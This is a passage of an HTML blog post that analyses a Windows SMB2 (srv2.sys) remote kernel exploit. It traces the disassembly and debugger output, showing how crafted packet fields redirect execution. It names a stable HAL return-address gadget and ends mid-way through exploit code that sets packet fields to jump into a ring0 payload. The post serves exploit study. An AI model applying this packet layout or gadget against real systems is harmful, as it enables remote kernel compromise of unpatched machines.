<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> ESI still point to our packet , because there wasn&#8217;t any instruction which change ESI value . after ESI pushed on the stack </span><span style="color: #ff0000;"><em><strong><span style="color: #ffffff;">srv2!SrvProcCompleteRequest</span></strong></em></span><span style="color: #ffffff;"> function called.this function is key for getting code execute ! a little cheat show you this key :</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Cheaty Beaty" src="http://img.majidonline.com/pic/237444/8.png" alt="Cheaty Beaty" width="266" height="186" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">you found that :-&#8221;  . at the first of this function we have :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="fig.9" src="http://img.majidonline.com/pic/237445/9.png" alt="fig.9" width="559" height="324" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">after some  repetitious instructions :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">mov     esi, dword ptr [ebp+NewIrql]
cmp     byte ptr [esi+0C8h], 0
jnz     short loc_91E78AE7
</span></span><span style="color: #ff0000;"><span style="color: #ffffff;">
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">NewIrql is 3rd  parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn&#8217;t zero we jump to </span><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span><span style="color: #ffffff;"> . </span><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span><span style="color: #ffffff;"> will direct us to fully controllable &#8220;call eax&#8221; .if  i don&#8217;t understand why Stephen doesn&#8217;t put zero at esi+0c8 and make his job harder by second call to </span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvProcCompleteRequest to get &#8220;call eax&#8221; ,continue reading ,  i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="fig.10" src="http://img.majidonline.com/pic/237446/10.png" alt="fig.10" width="557" height="111" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">again ESI pushed on the stack as function argument , so we have controllable area in</span></span><strong><span style="color: #ff0000;"><span style="color: #000000;"><em><span style="color: #ffffff;"> SrvConsumeDataAndComplete</span></em></span></span></strong><span style="color: #ff0000;"><span style="color: #ffffff;"> function too . </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SrvConsumeDataAndComplete Function" src="http://img.majidonline.com/pic/237448/11.png" alt="fig.11" width="573" height="377" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">there isn&#8217;t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after </span><span style="color: #ff0000;"><strong><em><span style="color: #ffffff;">SrvConsumeDataAndComplete2</span></em></strong></span><span style="color: #ffffff;"> called , because of &#8220;mov     eax, [ebp+NewIrql]&#8221;  and then &#8221;push    eax&#8221; instructions.</span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;"> there is second call to SrvProcCompleteRequest function  in SrvConsumeDataAndComplete2 . </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="second call to SrvProcCompleteRequest function" src="http://img.majidonline.com/pic/237450/12.png" alt="fig.12" width="569" height="113" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">but if we want this , we have to change execution flow to the basic block which call </span><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span><span style="color: #ffffff;">.red windows lead us to </span></span></span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span><span style="color: #ffffff;"> call .</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Red Block Direction" src="http://img.majidonline.com/pic/237451/13.png" alt="fig.13" width="208" height="502" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">lets  see </span><span style="color: #ff0000;"><span style="color: #ffffff;"> SrvConsumeDataAndComplete2</span></span><span style="color: #ffffff;"> :</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SrvConsumeDataAndComplete2" src="http://img.majidonline.com/pic/237453/14.png" alt="fig.14" width="673" height="470" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">after function prologue ,  we have &#8220;cmp     dword ptr [esi+150h],ebx&#8221; , ESI+150 point to 0&#215;41414141 . so jz never jump to loc_91E796B5 </span></span><span style="color: #ff0000;"><span style="color: #ffffff;"> . in &#8220;mov     eax, [esi+14Ch]&#8221; , 0&#215;3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp     eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">mov     ebx, [esi+128h]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">mov     edi, [esi+12Ch]</span></span><span style="color: #ff0000;"><span style="color: #ffffff;">

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;"> sbb     ebx, edi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">mov     [ebp+var_4], ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">js      short loc_91E79683
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> now , because both ebx and edi are unsigned and subtract result too, Sign Flag  will be zero and js instruction direct us to red line pointed of below figure :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Landing Place" src="http://img.majidonline.com/pic/237455/15.png" alt="fig.15" width="668" height="511" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block.  after first sub instruction in this block we have &#8220;mov     ecx, [ebp+NewIrql]&#8221; . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so &#8220;lea     eax, [esi+eax*4+130h]&#8221; is equl to &#8220;lea     eax, [esi+0]&#8221; . now eax point to our packet . after that we have &#8220;inc     dword ptr [eax]&#8221; . </span><strong><em><span style="color: #ffffff;">THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE !</span></em></strong><span style="color: #ffffff;"> if look carefully at smb packet Header you see something like &#8220;424d53ff&#8221; . this hex numbers assembel to &#8220;CALL DWORD PTR SS:[EBP+ECX*2+42]&#8221; but by Stephan&#8217;s l33t magic , inc [eax] make smb header like &#8220;424d5400&#8243; and  this assemble to &#8221;add     byte ptr [ebp+ecx*2+42h],dl&#8221; . after that controllable &#8220;CALL EAX&#8221; we want to jump to our packet and if first instruction of packet assemble to </span><span style="color: #ff0000;"><span style="color: #ffffff;">&#8220;CALL DWORD PTR SS:[EBP+ECX*2+42]&#8221; we call unknown function and a nice AV !  but Stephen&#8217;s l33t magic makes things right <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  . &#8220;or&#8221;  instruction is not so important and after that we jump to loc_91E79698 :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E79698 block and other guys" src="http://img.majidonline.com/pic/237457/16.png" alt="fig.16" width="562" height="407" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">there isn&#8217;t any important thing in loc_91E79698 block , we skip this block and go to  loc_91E796B5 . here we  have little tricky address. look at this instructions :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     ecx, [esi+3Ch]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     eax, [ecx+18h]
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c  . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0&#215;0000000 , a zero readable place ! then we have &#8220;cmp     eax, ebx&#8221; , eax is zero becuase of &#8220;</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     eax, [ecx+18h]</span></span></span></span><span style="color: #ffffff;">&#8221; instruction and ebx is also zero because of xor instruction in  loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E7971F" src="http://img.majidonline.com/pic/237461/17.png" alt="fig.17" width="213" height="114" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; r
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0         nv up ei pl zr na pe nc
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvConsumeDataAndComplete2+0x11a:
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">91b8e72b 3bc8            cmp     ecx,eax
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> now we are here :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237463/18.png" alt="fig.18" width="285" height="107" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">here is a another haxor edit ! i don&#8217;t know how Stephen found this great function !?! </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">really</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> really</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> awesome work Stephen ! if you lock carefully at &#8220;mov     byte ptr [esi+0C8h], 1&#8243; instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function .  at firs of </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span></span></span><span style="color: #ffffff;"> function we have :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">cmp     byte ptr [esi+0C8h], 0
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">jnz     short loc_91E78AE7
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> if this compare lead us to </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span></span></span><span style="color: #ffffff;"> block we can reach at  fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">&#8220;mov     byte ptr [esi+0C8h], 1&#8243;</span></span></span></span><span style="color: #ffffff;"> we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">esi+0C8h</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> by one and  make code execution happen . lets go further in loc_91E79968 :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E79968" src="http://img.majidonline.com/pic/237464/19.png" alt="fig.19" width="548" height="113" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> this is second call to SrvProcCompleteRequest . so lets go :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237465/20.png" alt="fig.20" width="656" height="358" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">we are here after cmp instruction make&#8221;jnz     short loc_91E78AE7&#8243; happen . in </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span></span></span><span style="color: #ffffff;"> block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0&#215;00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h.  if jz don&#8217;t execute , we jump here :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237466/21.png" alt="fig.20" width="576" height="335" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">in first block we have no important thing , just some address most be readable  and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">esi+0E0h</span></span></span></span><span style="color: #ffffff;"> point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Love Story" src="http://img.majidonline.com/pic/237467/22.png" alt="fig.22" width="279" height="205" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">0&#215;168</span></span></span></span><span style="color: #ffffff;"> will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvProcCompleteRequest+0xd2:
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">91b8db91 ffd0            call    eax
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u ffd00d09
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d09 5e              pop     esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0a c3              ret
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0b 7c58            jl      ffd00d65
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0d 0fb75102        movzx   edx,word ptr [ecx+2]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d11 0fb77002        movzx   esi,word ptr [eax+2]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d15 663bd6          cmp     dx,si
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d18 7fed            jg      ffd00d07
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d1a 7c49            jl      ffd00d65
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> &#8220;pop esi,ret &#8221; ? yes . lets look at stack :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Breakpoint 6 hit
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d09 5e              pop     esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0a c3              ret
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; dd esp
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561cd0  85211bf8 ffffffff 00000000 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561ce0  00000000 00000000 88561d10 91b8e96f
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561cf0  85211bf8 00000000 00000001 85217444
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d00  85211bf8 8515c778 ffdf0d04 000008a4
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d10  88561d1c 91b8e997 3fffffb4 88561d34
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d20  91b8dae2 85211bf8 85211bf8 91b8b901
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d30  91b8b901 88561d50 91b8dab4 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d40  00000000 91b8b901 8711bac0 8515c5d8
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; dd esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bf8  424d5400 00000072 c8531800 e9000217
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c08  00000158 00000000 00000000 69890000
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c18  02022000 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c28  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c38  00000000 00000000 91b71c1f 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c48  91b7157a 00000000 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c58  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c68  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">very nice jump ! lets execute shellcode :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; bp 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bf8 00544d42        add     byte ptr [ebp+ecx*2+42h],dl
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bfc 7200            jb      85211bfe
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bfe 0000            add     byte ptr [eax],al
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c00 0018            add     byte ptr [eax],bl
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c02 53              push    ebx
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c03 c8170200        enter   217h,0
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c07 e958010000      jmp     85211d64
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c0c 0000            add     byte ptr [eax],al
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">&#8220;</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">jmp     85211d64&#8243; instruction is value of Signature1 field in packet , here is exploit code :</span></span></span></span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Flags1']        = 0x18
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Flags2']        = 0xC853
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
